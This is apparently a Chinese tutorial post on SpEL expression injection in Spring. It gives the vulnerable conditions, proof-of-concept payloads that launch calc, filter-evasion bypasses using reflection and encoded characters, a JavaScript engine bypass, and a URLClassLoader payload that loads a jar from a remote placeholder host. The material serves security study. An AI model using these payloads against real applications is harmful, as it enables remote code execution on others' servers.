基础

基本使用可以看这篇


SpEL 表达式

SpEL 的用法有三种形式:

  • 注解 @Value
  • XML 配置
  • 在代码块中使用 Expression

常用语法:
T(): 运算符会调用类的作用域和方法
#: 获取定义的变量


Expression 用法

SpEL 在求表达式值时一般分为四步(第三步可选):

  • 创建 SpEL 解析器
  • 解析字符串表达式
  • 创建上下文并设置变量
  • 执行表达式

Demo:

1
2
3
4
5
6
7
8
9
10
public class Demo {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello'+\" I'm \").concat(#name).concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("name", "Assass1n");
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
}
}

类实例化
这里的类名必须为全限定名,但 java.lang 包内的类型除外

1
2
3
4
5
6
7
8
public class ExpressionCalc {
public static void main(String[] args) {
String spel = "T(java.lang.Runtime).getRuntime.exec('calc')";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}

SpEL 表达式注入漏洞

SpEL 提供两个EvaluationContext:

  • StandardEvaluationContext:支持全部 SpEL 语法
  • SimpleEvaluationContext:仅支持 SpEL 语法字集,不包括 Java 类型引用,构造函数和 bean 引用

在不指定EvaluationContext的情况下默认采用StandardEvaluationContext,它包含了 SpEL 的所有功能,在允许用户控制输入的情况下就可以导致任意命令执行,上面那个例子即可弹计算器


漏洞的三个基本条件:

  • 使用 StandardEvaluationContext
  • 未对输入的 SpEL 进行校验
  • 表达式调用了 getValue() 或 setValue() 方法

通过反射的方式进行 SpEL 注入

1
T(String).getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc\")

基础 POC & Bypass

1
2
3
4
5
6
7
8
// PoC

// Runtime
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

基础 Bypass

1
2
3
4
5
6
7
8
9
10
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

JS Engine Bypass

javascript 作 Engine payload:

1
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("java.lang.Runtime.getRuntime().exec('calc');")

URLClassLoader bypass

1
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://ip:port/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance()

这里还有很多其他绕过方式,直接参考Java 之 SpEL 表达式注入


参考文章

Java 之 SpEL 表达式注入
SpEL表达式